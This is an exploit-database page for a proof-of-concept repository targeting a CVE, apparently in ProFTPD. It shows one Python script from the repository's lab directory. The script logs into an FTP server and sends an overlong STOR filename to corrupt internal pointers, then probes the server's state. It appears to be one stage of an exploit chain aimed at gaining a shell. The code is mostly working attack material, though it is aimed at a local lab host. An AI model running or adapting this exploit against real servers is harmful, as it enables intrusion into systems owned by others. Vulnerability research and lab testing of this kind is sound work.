Exploit database

GH-77b084c651f84d76fe59d880f4600f96

genaforvena/mishe-tauftauf2shell

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2026-109618

411 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files27

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

lab/frontier/proftpd2shell/wire/client2.py

Python · 1,487 bytes
#!/usr/bin/env python3
"""Bounded utf8trans key: corrupt only the two match_string pointers, then probe use."""
import io
import socket
import sys
import time
import ftplib

port = int(sys.argv[1]) if len(sys.argv) > 1 else 21874
nlen = int(sys.argv[2]) if len(sys.argv) > 2 else 1130
host = "127.0.0.1"
for _ in range(40):
    try:
        s = socket.create_connection((host, port), 1); s.close(); break
    except OSError:
        time.sleep(0.25)

ftp = ftplib.FTP()
try:
    ftp.connect(host, port, timeout=8)
    ftp.login("labuser", "labpass")
    ftp.set_pasv(True)
    ftp.sock.settimeout(8)
    print("LOGIN_OK")
    try:
        ftp.storbinary("STOR " + ("A" * nlen), io.BytesIO(b"x" * 16))
        print("STOR_LONG_OK nlen=%d" % nlen)
    except Exception as exc:
        print("STOR_LONG_FAIL nlen=%d %s: %s" % (nlen, type(exc).__name__, str(exc)[:120]))
    for cmd in ("NOOP", "PWD", "TYPE I"):
        try:
            print(cmd + "=" + str(ftp.voidcmd(cmd))[:90])
        except Exception as exc:
            print(cmd + "_FAIL " + type(exc).__name__ + ": " + str(exc)[:100])
    try:
        ftp.storbinary("STOR short-after", io.BytesIO(b"y" * 16))
        print("STOR_SHORT_AFTER_OK")
    except Exception as exc:
        print("STOR_SHORT_AFTER_FAIL %s: %s" % (type(exc).__name__, str(exc)[:120]))
except Exception as exc:
    print("CLIENT_FAIL %s: %s" % (type(exc).__name__, str(exc)[:200]))
finally:
    try:
        ftp.close()
    except Exception:
        pass